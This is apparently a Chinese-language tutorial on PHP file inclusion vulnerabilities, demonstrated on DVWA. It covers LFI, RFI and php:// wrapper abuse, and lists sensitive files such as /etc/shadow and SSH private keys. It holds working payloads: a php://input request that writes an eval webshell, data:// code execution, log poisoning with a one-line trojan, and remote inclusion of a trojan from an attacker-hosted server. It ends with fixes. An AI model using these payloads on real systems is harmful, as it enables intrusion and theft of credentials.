文件包含

原理

为了使代码更灵活,开发人员将可重复使用的函数写入单个文件,使用这些函数时,直接调用该文件即可,这种调用过程被称为文件包含,通常被包含的文件被设置为变量,用来进行动态调用,因此可能导致客户端可以调用一个任意文件,造成文件包含漏洞,能够将包含的文件(不限格式后缀)以脚本方式运行。

<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

危害

  1. 文件读取

可以包含一个服务器配置文件或者网站配置文件从而读取到该文件的内容(文件内容不符合php语法,直接打印文件内容)

  1. 获取服务器权限

如果被包含的文件符合php语法,就会将该文件当成php文件解析执行,不管文件后缀是什么

分类

  1. 本地文件包含-Local File Include-LFI

包含存放在目标服务器本地的文件

  1. 远程文件包含-Remote File Include-RFI

包含存放在攻击者服务器的文件

文件包含函数

PHP:include、require、include_once、require_once等
include 找不到被包含的文件还能执行脚本,只会弹出警告
require 找不到被包含文件,整个脚本都不能执行

Java:java.io.File、java.io.FileReader等

ASP.NET:System.IO.FileStream、System.IO.StreamReader等
  1. include
  2. include_once
  3. require
  4. require_once

作用都是用来包含文件,

include:没有包含到文件时,后面的代码还会被执行

require:没有包含到文件时,后面的代码不会被执行

加上once的话,就是不管代码中有几个文件包含的函数,只包含一次文件

黑白盒思路

白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

黑盒发现:主要观察参数传递的数据和文件名是否对应,

URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼(在传参)

漏洞利用

本地文件包含

一般都是用于读取敏感信息,或者是配合文件上传可以有更大危害

存在文件上传:

1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)

包含图片马(文件上传)

不存在文件上传:

2、包含日志

3、包含SESSION

4、支持伪协议利用

包含系统敏感文件

包含日志文件

利用php伪协议进行攻击

文件读取的几种方式

方式一:
file:///etc/passwd

方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php

文件写入几种方式

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php //这个需要代码里有两个参数才行

方式二:
php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行几种方式

方式一:
php://input
POST:<?php phpinfo();?>

方式二:
data://text/plain,<?php phpinfo();?>

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含系统敏感文件

  1. windows常见文件
文件 说明
C:\boot.ini 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml IIS配置文件
C:\Windows\repair\sam 存储系统初次安装的密码
C:\Program Files\mysql\my.ini Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD Mysql root密码
C:\Windows\php.ini php配置信息
C:\Windows\my.ini Mysql配置信息
C:\Windows\win.ini Windows系统的一个基本系统配置文件
  1. linux常见敏感文件
文件 说明
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts 记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.conf mysql配置文件
/etc/php/5.6/apache2/php.ini php配置文件
/etc/httpd/conf/httpd.conf apache配置文件
/root/.bash_history 用户历史命令记录文件
/root/.mysql_history mysql历史命令记录文件
/proc/mounts 记录系统挂载设备
/porc/config.gz 内核配置文件
/var/lib/mlocate/mlocate.db 全文件路径
/porc/self/cmdline 当前进程的cmdline参数

利用:

如果url里如下,大概率存在文件包含漏洞

我们修改page=后面的参数(改为敏感文件)

观察页面回显

可以对文件进行爆破

可以多加几个../从而跳转到根目录(无论加再多个../,最总都是跳转到根目录)

包含日志文件

当我们访问网站时,服务器日志会记录我们的行为,当我们的访问连接中含有恶意代码时,也会被记录到日志中,从而获取服务器权限

要先获取到日志文件的存放路径

linux中/var/log/apache

利用:

  1. 访问的url中写入一句话木马,apache会将客户端请求信息记录在日志文件中

  1. 此时包含文件会失败,因为浏览器对木马进行了url编码
  2. 我们在bp中找到请求,在bp中的url里写入一句话木马(不使用浏览器,就不会进行url编码)

  1. 发包后日志文件中就写入了一句话木马

  1. 再用蚁剑连接(连接失败的话可能是要加上cookie值)

包含上传文件

需要同时有文件上传和文件包含功能

  1. 上传图片马
  2. 包含图片马

php伪协议利用

php伪协议是php支持的协议与封装协议,可利用这些协议完成许多命令执行

file://        — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URL
php:// —访问各个输入/输出流(I/Ostreams)
zlib:// — 压缩流
data:// —数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

存在伪协议的原因

php://input

用来包含文件的路径,允许你读取请求的主体内容

前提条件:php.ini文件中的allow_url_include设置为On

php://input
post:php代码

利用:

rul里输入php://input

post提交参数(请求体中)写php代码

data://

数据流封装器,用于传递相应格式的数据

前提条件:php.ini文件中的allow_url_include设置为On(和php://input相同)

data://text/plain,php代码
data://text/plain;base64,base64编码的php代码

在bp实现时,后面的php代码要进行url编码

2.进行base64编码,相当于绕过url里的过滤

用蚁剑连接时,需要输入完整的url(包括php代码)

php://filter

元封装器,过滤器

主要用来查看源码,因为包含php文件时会解析,不能看到源码,可以用filter来读取源码文件

php://filter/read=convert.base64-encode/resource=index.php

参数:

名称 描述 备注
resource=<要过滤的数据流> 指定你要筛选过滤的数据流 必选
read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符( )分割
write=<写链的筛选列表> 可选
(1)字符串过滤器
string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果

(2)转换过滤器
convert.base64-encode base64 编码
convert.base64-decode base64 解码
convert.quoted-printable-encode quoted-printable 编码(也是另一种将二进制进行编码的方案)
convert.quoted-printable-decode quoted-printable 解码
convert.iconv 实现任意两种编码之间的转换

(3)压缩过滤器
zlib.deflate 压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器

(4)加密过滤器
mcrypt.* 加密过滤器
mdecrypt.* 解密过滤器

利用:

当我们想读取dvwa的file3.php文件的源码

读取出来

复制下来进行base64解码,得到源码

zip://

zip://、bzip2://、zlib://协议,都属于压缩流,可以访问压缩文件中的子文件夹

zip://绝对(相对)路径/xx.zip%23被压缩的文件

不同的php版本用不同的路径(nts版本可以用相对路径),优点是可以用该协议绕过网站包含文件后缀的限制(直接根据限制还更改文件后缀即可),%23为#的url-encode,是为了将#后面的内容传递给服务器,#代表网0页中的一个位置,其右边的字符,就是该位置的标识符

利用:

  1. 将一个php文件添加到zip压缩文件(不是说非要php文件,只是说有些网站可能会固定包含的文件后缀)
  2. 将zip压缩文件上传(如果上传点是白名单检测则可以将.zip后缀修改为合法的后缀)
  3. 利用zip://协议包含该文件

此时为nts版本,子文件为有一句话木马的txt文件

phar://

与zip://类似

phar://相对路径(或绝对路径)/xx.zip/被压缩的文件

相对于zip://来讲,将后面的%23替换为了/

适用范围为:php>5.3.0,优点和zip://相同,也是可以绕过网站固定包含文件后缀的限制

远程文件包含

前提:php.ini的allow_url_fopen的值为On(默认开启),并且allow_url_include的值也为On(默认关闭)

利用:

  1. 攻击者在自己的服务器新建一个文件,内容为一句话木马,该文件需要被目标服务器能够访问到

攻击者启用一个简易的http服务

python -m http.server --bind 0.0.0.0 1234
--bind是将服务绑定在0.0.0.0的1234端口,0.0.0.0同一局域网下所有的主机都可以访问

  1. 在目标网站上使用http协议去访问攻击者服务器的这个文件
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.174.130:1234/a.txt
后面的ip为攻击者的ip,和对应开放的http的1234端口

远程文件包含比本地文件包含危害更大,

本地文件包含有一定局限性:需要上传点、需要知道日志路径等

但一般情况下远程文件包含配置allow_url_include为off,不能进行远程文件包含

修复方案

  1. 设置白名单:代码在进行文件包含时,如果用户名可以确定,可以设置白名单对传入的参数进行比较
  2. 路径限制:限制被包含的文件只能在某一文件夹内,php配置文件中有open_basedir选项可以设置文件需要执行的文件目录,如果设置目录的话,php仅仅可以在该目录内搜索文件
  3. 关闭危险配置:php配置中的allow_url_include选项可以关闭,防止远程文件包含
  4. 过滤危险字符,严格检查用户输入,参数中不允许出现../之类的目录跳转符
  5. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(‘head.php’)